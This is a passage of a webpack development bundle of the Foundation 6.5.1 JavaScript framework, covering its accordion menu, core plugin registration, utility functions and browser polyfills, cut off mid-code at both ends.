{\n var $anchor = $elem.children('a');\n $anchor.clone().prependTo($sub).wrap('
  • ');\n }\n\n if (_this.options.submenuToggle) {\n $elem.addClass('has-submenu-toggle');\n $elem.children('a').after('');\n } else {\n $elem.attr({\n 'aria-controls': subId,\n 'aria-expanded': isActive,\n 'id': linkId\n });\n }\n\n $sub.attr({\n 'aria-labelledby': linkId,\n 'aria-hidden': !isActive,\n 'role': 'group',\n 'id': subId\n });\n });\n this.$element.find('li').attr({\n 'role': 'treeitem'\n });\n var initPanes = this.$element.find('.is-active');\n\n if (initPanes.length) {\n var _this = this;\n\n initPanes.each(function () {\n _this.down(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n });\n }\n\n this._events();\n }\n /**\n * Adds event handlers for items within the menu.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this;\n\n this.$element.find('li').each(function () {\n var $submenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]');\n\n if ($submenu.length) {\n if (_this.options.submenuToggle) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('.submenu-toggle').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n _this.toggle($submenu);\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('a').off('click.zf.accordionMenu').on('click.zf.accordionMenu', function (e) {\n e.preventDefault();\n\n _this.toggle($submenu);\n });\n }\n }\n }).on('keydown.zf.accordionmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('ul').children('li'),\n $prevElement,\n $nextElement,\n $target = $element.children('[data-submenu]');\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1)).find('a').first();\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1)).find('a').first();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]:visible').length) {\n // has open sub menu\n $nextElement = $element.find('li:first-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':first-child')) {\n // is first element of sub menu\n $prevElement = $element.parents('li').first().find('a').first();\n } else if ($prevElement.parents('li').first().children('[data-submenu]:visible').length) {\n // if previous element has open sub menu\n $prevElement = $prevElement.parents('li').find('li:last-child').find('a').first();\n }\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':last-child')) {\n // is last element of sub menu\n $nextElement = $element.parents('li').first().next('li').find('a').first();\n }\n\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'AccordionMenu', {\n open: function open() {\n if ($target.is(':hidden')) {\n _this.down($target);\n\n $target.find('li').first().find('a').first().focus();\n }\n },\n close: function close() {\n if ($target.length && !$target.is(':hidden')) {\n // close active sub of this item\n _this.up($target);\n } else if ($element.parent('[data-submenu]').length) {\n // close currently open sub\n _this.up($element.parent('[data-submenu]'));\n\n $element.parents('li').first().find('a').first().focus();\n }\n },\n up: function up() {\n $prevElement.focus();\n return true;\n },\n down: function down() {\n $nextElement.focus();\n return true;\n },\n toggle: function toggle() {\n if (_this.options.submenuToggle) {\n return false;\n }\n\n if ($element.children('[data-submenu]').length) {\n _this.toggle($element.children('[data-submenu]'));\n\n return true;\n }\n },\n closeAll: function closeAll() {\n _this.hideAll();\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); //.attr('tabindex', 0);\n }\n /**\n * Closes all panes of the menu.\n * @function\n */\n\n }, {\n key: \"hideAll\",\n value: function hideAll() {\n this.up(this.$element.find('[data-submenu]'));\n }\n /**\n * Opens all panes of the menu.\n * @function\n */\n\n }, {\n key: \"showAll\",\n value: function showAll() {\n this.down(this.$element.find('[data-submenu]'));\n }\n /**\n * Toggles the open/close state of a submenu.\n * @function\n * @param {jQuery} $target - the submenu to toggle\n */\n\n }, {\n key: \"toggle\",\n value: function toggle($target) {\n if (!$target.is(':animated')) {\n if (!$target.is(':hidden')) {\n this.up($target);\n } else {\n this.down($target);\n }\n }\n }\n /**\n * Opens the sub-menu defined by `$target`.\n * @param {jQuery} $target - Sub-menu to open.\n * @fires AccordionMenu#down\n */\n\n }, {\n key: \"down\",\n value: function down($target) {\n var _this2 = this;\n\n if (!this.options.multiOpen) {\n this.up(this.$element.find('.is-active').not($target.parentsUntil(this.$element).add($target)));\n }\n\n $target.addClass('is-active').attr({\n 'aria-hidden': false\n });\n\n if (this.options.submenuToggle) {\n $target.prev('.submenu-toggle').attr({\n 'aria-expanded': true\n });\n } else {\n $target.parent('.is-accordion-submenu-parent').attr({\n 'aria-expanded': true\n });\n }\n\n $target.slideDown(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done opening.\n * @event AccordionMenu#down\n */\n _this2.$element.trigger('down.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Closes the sub-menu defined by `$target`. All sub-menus inside the target will be closed as well.\n * @param {jQuery} $target - Sub-menu to close.\n * @fires AccordionMenu#up\n */\n\n }, {\n key: \"up\",\n value: function up($target) {\n var _this3 = this;\n\n var $submenus = $target.find('[data-submenu]');\n var $allmenus = $target.add($submenus);\n $submenus.slideUp(0);\n $allmenus.removeClass('is-active').attr('aria-hidden', true);\n\n if (this.options.submenuToggle) {\n $allmenus.prev('.submenu-toggle').attr('aria-expanded', false);\n } else {\n $allmenus.parent('.is-accordion-submenu-parent').attr('aria-expanded', false);\n }\n\n $target.slideUp(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done collapsing up.\n * @event AccordionMenu#up\n */\n _this3.$element.trigger('up.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Destroys an instance of accordion menu.\n * @fires AccordionMenu#destroyed\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$element.find('[data-submenu]').slideDown(0).css('display', '');\n this.$element.find('a').off('click.zf.accordionMenu');\n this.$element.find('[data-is-parent-link]').detach();\n\n if (this.options.submenuToggle) {\n this.$element.find('.has-submenu-toggle').removeClass('has-submenu-toggle');\n this.$element.find('.submenu-toggle').remove();\n }\n\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'accordion');\n }\n }]);\n\n return AccordionMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__[\"Plugin\"]);\n\nAccordionMenu.defaults = {\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Amount of time to animate the opening of a submenu in ms.\n * @option\n * @type {number}\n * @default 250\n */\n slideSpeed: 250,\n\n /**\n * Adds a separate submenu toggle button. This allows the parent item to have a link.\n * @option\n * @example true\n */\n submenuToggle: false,\n\n /**\n * The text used for the submenu toggle if enabled. This is used for screen readers only.\n * @option\n * @example true\n */\n submenuToggleText: 'Toggle menu',\n\n /**\n * Allow the menu to have multiple open panes.\n * @option\n * @type {boolean}\n * @default true\n */\n multiOpen: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.accordionMenu.js?")},"./js/foundation.core.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Foundation\", function() { return Foundation; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\nvar FOUNDATION_VERSION = '6.5.1'; // Global Foundation object\n// This is attached to the window, or used as a module for AMD/Browserify\n\nvar Foundation = {\n version: FOUNDATION_VERSION,\n\n /**\n * Stores initialized plugins.\n */\n _plugins: {},\n\n /**\n * Stores generated unique ids for plugin instances\n */\n _uuids: [],\n\n /**\n * Defines a Foundation plugin, adding it to the `Foundation` namespace and the list of plugins to initialize when reflowing.\n * @param {Object} plugin - The constructor of the plugin.\n */\n plugin: function plugin(_plugin, name) {\n // Object key to use when adding to global Foundation object\n // Examples: Foundation.Reveal, Foundation.OffCanvas\n var className = name || functionName(_plugin); // Object key to use when storing the plugin, also used to create the identifying data attribute for the plugin\n // Examples: data-reveal, data-off-canvas\n\n var attrName = hyphenate(className); // Add to the Foundation object and the plugins list (for reflowing)\n\n this._plugins[attrName] = this[className] = _plugin;\n },\n\n /**\n * @function\n * Populates the _uuids array with pointers to each individual plugin instance.\n * Adds the `zfPlugin` data-attribute to programmatically created plugins to allow use of $(selector).foundation(method) calls.\n * Also fires the initialization event for each plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @param {String} name - the name of the plugin, passed as a camelCased string.\n * @fires Plugin#init\n */\n registerPlugin: function registerPlugin(plugin, name) {\n var pluginName = name ? hyphenate(name) : functionName(plugin.constructor).toLowerCase();\n plugin.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"GetYoDigits\"])(6, pluginName);\n\n if (!plugin.$element.attr(\"data-\".concat(pluginName))) {\n plugin.$element.attr(\"data-\".concat(pluginName), plugin.uuid);\n }\n\n if (!plugin.$element.data('zfPlugin')) {\n plugin.$element.data('zfPlugin', plugin);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n plugin.$element.trigger(\"init.zf.\".concat(pluginName));\n\n this._uuids.push(plugin.uuid);\n\n return;\n },\n\n /**\n * @function\n * Removes the plugins uuid from the _uuids array.\n * Removes the zfPlugin data attribute, as well as the data-plugin-name attribute.\n * Also fires the destroyed event for the plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @fires Plugin#destroyed\n */\n unregisterPlugin: function unregisterPlugin(plugin) {\n var pluginName = hyphenate(functionName(plugin.$element.data('zfPlugin').constructor));\n\n this._uuids.splice(this._uuids.indexOf(plugin.uuid), 1);\n\n plugin.$element.removeAttr(\"data-\".concat(pluginName)).removeData('zfPlugin')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger(\"destroyed.zf.\".concat(pluginName));\n\n for (var prop in plugin) {\n plugin[prop] = null; //clean up script to prep for garbage collection.\n }\n\n return;\n },\n\n /**\n * @function\n * Causes one or more active plugins to re-initialize, resetting event listeners, recalculating positions, etc.\n * @param {String} plugins - optional string of an individual plugin key, attained by calling `$(element).data('pluginName')`, or string of a plugin class i.e. `'dropdown'`\n * @default If no argument is passed, reflow all currently active plugins.\n */\n reInit: function reInit(plugins) {\n var isJQ = plugins instanceof jquery__WEBPACK_IMPORTED_MODULE_0___default.a;\n\n try {\n if (isJQ) {\n plugins.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('zfPlugin')._init();\n });\n } else {\n var type = _typeof(plugins),\n _this = this,\n fns = {\n 'object': function object(plgs) {\n plgs.forEach(function (p) {\n p = hyphenate(p);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + p + ']').foundation('_init');\n });\n },\n 'string': function string() {\n plugins = hyphenate(plugins);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + plugins + ']').foundation('_init');\n },\n 'undefined': function undefined() {\n this['object'](Object.keys(_this._plugins));\n }\n };\n\n fns[type](plugins);\n }\n } catch (err) {\n console.error(err);\n } finally {\n return plugins;\n }\n },\n\n /**\n * Initialize plugins on any elements within `elem` (and `elem` itself) that aren't already initialized.\n * @param {Object} elem - jQuery object containing the element to check inside. Also checks the element itself, unless it's the `document` object.\n * @param {String|Array} plugins - A list of plugins to initialize. Leave this out to initialize everything.\n */\n reflow: function reflow(elem, plugins) {\n // If plugins is undefined, just grab everything\n if (typeof plugins === 'undefined') {\n plugins = Object.keys(this._plugins);\n } // If plugins is a string, convert it to an array with one item\n else if (typeof plugins === 'string') {\n plugins = [plugins];\n }\n\n var _this = this; // Iterate through each plugin\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(plugins, function (i, name) {\n // Get the current plugin\n var plugin = _this._plugins[name]; // Localize the search to all elements inside elem, as well as elem itself, unless elem === document\n\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(elem).find('[data-' + name + ']').addBack('[data-' + name + ']'); // For each plugin found, initialize it\n\n $elem.each(function () {\n var $el = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n opts = {}; // Don't double-dip on plugins\n\n if ($el.data('zfPlugin')) {\n console.warn(\"Tried to initialize \" + name + \" on an element that already has a Foundation plugin.\");\n return;\n }\n\n if ($el.attr('data-options')) {\n var thing = $el.attr('data-options').split(';').forEach(function (e, i) {\n var opt = e.split(':').map(function (el) {\n return el.trim();\n });\n if (opt[0]) opts[opt[0]] = parseValue(opt[1]);\n });\n }\n\n try {\n $el.data('zfPlugin', new plugin(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), opts));\n } catch (er) {\n console.error(er);\n } finally {\n return;\n }\n });\n });\n },\n getFnName: functionName,\n addToJquery: function addToJquery($) {\n // TODO: consider not making this a jQuery function\n // TODO: need way to reflow vs. re-initialize\n\n /**\n * The Foundation jQuery method.\n * @param {String|Array} method - An action to perform on the current jQuery object.\n */\n var foundation = function foundation(method) {\n var type = _typeof(method),\n $noJS = $('.no-js');\n\n if ($noJS.length) {\n $noJS.removeClass('no-js');\n }\n\n if (type === 'undefined') {\n //needs to initialize the Foundation object, or an individual plugin.\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__[\"MediaQuery\"]._init();\n\n Foundation.reflow(this);\n } else if (type === 'string') {\n //an individual method to invoke on a plugin or group of plugins\n var args = Array.prototype.slice.call(arguments, 1); //collect all the arguments, if necessary\n\n var plugClass = this.data('zfPlugin'); //determine the class of plugin\n\n if (typeof plugClass !== 'undefined' && typeof plugClass[method] !== 'undefined') {\n //make sure both the class and method exist\n if (this.length === 1) {\n //if there's only one, call it directly.\n plugClass[method].apply(plugClass, args);\n } else {\n this.each(function (i, el) {\n //otherwise loop through the jQuery collection and invoke the method on each\n plugClass[method].apply($(el).data('zfPlugin'), args);\n });\n }\n } else {\n //error for no class or no method\n throw new ReferenceError(\"We're sorry, '\" + method + \"' is not an available method for \" + (plugClass ? functionName(plugClass) : 'this element') + '.');\n }\n } else {\n //error for invalid argument type\n throw new TypeError(\"We're sorry, \".concat(type, \" is not a valid parameter. You must use a string representing the method you wish to invoke.\"));\n }\n\n return this;\n };\n\n $.fn.foundation = foundation;\n return $;\n }\n};\nFoundation.util = {\n /**\n * Function for applying a debounce effect to a function call.\n * @function\n * @param {Function} func - Function to be called at end of timeout.\n * @param {Number} delay - Time in ms to delay the call of `func`.\n * @returns function\n */\n throttle: function throttle(func, delay) {\n var timer = null;\n return function () {\n var context = this,\n args = arguments;\n\n if (timer === null) {\n timer = setTimeout(function () {\n func.apply(context, args);\n timer = null;\n }, delay);\n }\n };\n }\n};\nwindow.Foundation = Foundation; // Polyfill for requestAnimationFrame\n\n(function () {\n if (!Date.now || !window.Date.now) window.Date.now = Date.now = function () {\n return new Date().getTime();\n };\n var vendors = ['webkit', 'moz'];\n\n for (var i = 0; i < vendors.length && !window.requestAnimationFrame; ++i) {\n var vp = vendors[i];\n window.requestAnimationFrame = window[vp + 'RequestAnimationFrame'];\n window.cancelAnimationFrame = window[vp + 'CancelAnimationFrame'] || window[vp + 'CancelRequestAnimationFrame'];\n }\n\n if (/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) || !window.requestAnimationFrame || !window.cancelAnimationFrame) {\n var lastTime = 0;\n\n window.requestAnimationFrame = function (callback) {\n var now = Date.now();\n var nextTime = Math.max(lastTime + 16, now);\n return setTimeout(function () {\n callback(lastTime = nextTime);\n }, nextTime - now);\n };\n\n window.cancelAnimationFrame = clearTimeout;\n }\n /**\n * Polyfill for performance.now, required by rAF\n */\n\n\n if (!window.performance || !window.performance.now) {\n window.performance = {\n start: Date.now(),\n now: function now() {\n return Date.now() - this.start;\n }\n };\n }\n})();\n\nif (!Function.prototype.bind) {\n Function.prototype.bind = function (oThis) {\n if (typeof this !== 'function') {\n // closest thing possible to the ECMAScript 5\n // internal IsCallable function\n throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');\n }\n\n var aArgs = Array.prototype.slice.call(arguments, 1),\n fToBind = this,\n fNOP = function fNOP() {},\n fBound = function fBound() {\n return fToBind.apply(this instanceof fNOP ? this : oThis, aArgs.concat(Array.prototype.slice.call(arguments)));\n };\n\n if (this.prototype) {\n // native functions don't have a prototype\n fNOP.prototype = this.prototype;\n }\n\n fBound.prototype = new fNOP();\n return fBound;\n };\n} // Polyfill to get the name of a function in IE9\n\n\nfunction functionName(fn) {\n if (typeof Function.prototype.name === 'undefined') {\n var funcNameRegex = /function\\s([^(]{1,})\\(/;\n var results = funcNameRegex.exec(fn.toString());\n return results && results.length > 1 ? results[1].trim() : \"\";\n } else if (typeof fn.prototype === 'undefined') {\n return fn.constructor.name;\n } else {\n return fn.prototype.constructor.name;\n }\n}\n\nfunction parseValue(str) {\n if ('true' === str) return true;else if ('false' === str) return false;else if (!isNaN(str * 1)) return parseFloat(str);\n return str;\n} // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.js?")},"./js/foundation.core.plugin.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Plugin", function() { return Plugin; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\n\n // Abstract class for providing lifecycle hooks. Expect plugins to define AT LEAST\n// {function} _setup (replaces previous constructor),\n// {function} _destroy (replaces previous destroy)\n\nvar Plugin =\n/*#__PURE__*/\nfunction () {\n function Plugin(element, options) {\n _classCallCheck(this, Plugin);\n\n this._setup(element, options);\n\n var pluginName = getPluginName(this);\n this.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, pluginName);\n\n if (!this.$element.attr("data-".concat(pluginName))) {\n this.$element.attr("data-".concat(pluginName), this.uuid);\n }\n\n if (!this.$element.data(\'zfPlugin\')) {\n this.$element.data(\'zfPlugin\', this);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n this.$element.trigger("init.zf.".concat(pluginName));\n }\n\n _createClass(Plugin, [{\n key: "destroy",\n value: function destroy() {\n this._destroy();\n\n var pluginName = getPluginName(this);\n this.$element.removeAttr("data-".concat(pluginName)).removeData(\'zfPlugin\')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger("destroyed.zf.".concat(pluginName));\n\n for (var prop in this) {\n this[prop] = null; //clean up script to prep for garbage collection.\n }\n }\n }]);\n\n return Plugin;\n}(); // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, \'$1-$2\').toLowerCase();\n}\n\nfunction getPluginName(obj) {\n if (typeof obj.constructor.name !== \'undefined\') {\n return hyphenate(obj.constructor.name);\n } else {\n return hyphenate(obj.className);\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.plugin.js?')},"./js/foundation.core.utils.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"rtl\", function() { return rtl; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"GetYoDigits\", function() { return GetYoDigits; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"RegExpEscape\", function() { return RegExpEscape; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"transitionend\", function() { return transitionend; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"onLoad\", function() { return onLoad; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"ignoreMousedisappear\", function() { return ignoreMousedisappear; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n // Core Foundation Utilities, utilized in a number of places.\n\n/**\n * Returns a boolean for RTL support\n */\n\nfunction rtl() {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').attr('dir') === 'rtl';\n}\n/**\n * returns a random base-36 uid with namespacing\n * @function\n * @param {Number} length - number of random base-36 digits desired. Increase for more random strings.\n * @param {String} namespace - name of plugin to be incorporated in uid, optional.\n * @default {String} '' - if no plugin name is provided, nothing is appended to the uid.\n * @returns {String} - unique id\n */\n\n\nfunction GetYoDigits(length, namespace) {\n length = length || 6;\n return Math.round(Math.pow(36, length + 1) - Math.random() * Math.pow(36, length)).toString(36).slice(1) + (namespace ? \"-\".concat(namespace) : '');\n}\n/**\n * Escape a string so it can be used as a regexp pattern\n * @function\n * @see https://stackoverflow.com/a/9310752/4317384\n *\n * @param {String} str - string to escape.\n * @returns {String} - escaped string\n */\n\n\nfunction RegExpEscape(str) {\n return str.replace(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g, '\\\\$&');\n}\n\nfunction transitionend($elem) {\n var transitions = {\n 'transition': 'transitionend',\n 'WebkitTransition': 'webkitTransitionEnd',\n 'MozTransition': 'transitionend',\n 'OTransition': 'otransitionend'\n };\n var elem = document.createElement('div'),\n end;\n\n for (var t in transitions) {\n if (typeof elem.style[t] !== 'undefined') {\n end = transitions[t];\n }\n }\n\n if (end) {\n return end;\n } else {\n end = setTimeout(function () {\n $elem.triggerHandler('transitionend', [$elem]);\n }, 1);\n return 'transitionend';\n }\n}\n/**\n * Return an event type to listen for window load.\n *\n * If `$elem` is passed, an event will be triggered on `$elem`. If window is already loaded, the event will still be triggered.\n * If `handler` is passed, attach it to the event on `$elem`.\n * Calling `onLoad` without handler allows you to get the event type that will be triggered before attaching the handler by yourself.\n * @function\n *\n * @param {Object} [] $elem - jQuery element on which the event will be triggered if passed.\n * @param {Function} [] handler - function to attach to the event.\n * @returns {String} - event type that should or will be triggered.\n */\n\n\nfunction onLoad($elem, handler) {\n var didLoad = document.readyState === 'complete';\n var eventType = (didLoad ? '_didLoad' : 'load') + '.zf.util.onLoad';\n\n var cb = function cb() {\n return $elem.triggerHandler(eventType);\n };\n\n if ($elem) {\n if (handler) $elem.one(eventType, handler);\n if (didLoad) setTimeout(cb);else jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).one('load', cb);\n }\n\n return eventType;\n}\n/**\n * Retuns an handler for the `mouseleave` that ignore disappeared mouses.\n *\n * If the mouse \"disappeared\" from the document (like when going on a browser UI element, See https://git.io/zf-11410),\n * the event is ignored.\n * - If the `ignoreLeaveWindow` is `true`, the event is ignored when the user actually left the window\n * (like by switching to an other window with [Alt]+[Tab]).\n * - If the `ignoreReappear` is `true`, the event will be ignored when the mouse will reappear later on the document\n * outside of the element it left.\n *\n * @function\n *\n * @param {Function} [] handler - handler for the filtered `mouseleave` event to watch.\n * @param {Object} [] options - object of options:\n * - {Boolean} [false] ignoreLeaveWindow - also ignore when the user switched windows.\n * - {Boolean} [false] ignoreReappear - also ignore when the mouse reappeared outside of the element it left.\n * @returns {Function} - filtered handler to use to listen on the `mouseleave` event.\n */\n\n\nfunction ignoreMousedisappear(handler) {\n var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},\n _ref$ignoreLeaveWindo = _ref.ignoreLeaveWindow,\n ignoreLeaveWindow = _ref$ignoreLeaveWindo === void 0 ? false : _ref$ignoreLeaveWindo,\n _ref$ignoreReappear = _ref.ignoreReappear,\n ignoreReappear = _ref$ignoreReappear === void 0 ? false : _ref$ignoreReappear;\n\n return function leaveEventHandler(eLeave) {\n for (var _len = arguments.length, rest = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n rest[_key - 1] = arguments[_key];\n }\n\n var callback = handler.bind.apply(handler, [this, eLeave].concat(rest)); // The mouse left: call the given callback if the mouse entered elsewhere\n\n if (eLeave.relatedTarget !== null) {\n return callback();\n } // Otherwise, check if the mouse actually left the window.\n // In firefox if the user switched between windows, the window sill have the focus by the time\n // the event is triggered. We have to debounce the event to test this case.\n\n\n setTimeout(function leaveEventDebouncer() {\n if (!ignoreLeaveWindow && document.hasFocus && !document.hasFocus()) {\n return callback();\n } // Otherwise, wait for the mouse to reeapear outside of the element,\n\n\n if (!ignoreReappear) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).one('mouseenter', function reenterEventHandler(eReenter) {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(eLeave.currentTarget).has(eReenter.target).length) {\n // Fill where the mouse finally entered.\n eLeave.relatedTarget = eReenter.target;\n callback();\n }\n });\n }\n }, 0);\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.utils.js?")},"./js/foundation.drilldown.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Drilldown\", function() { return Drilldown; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return 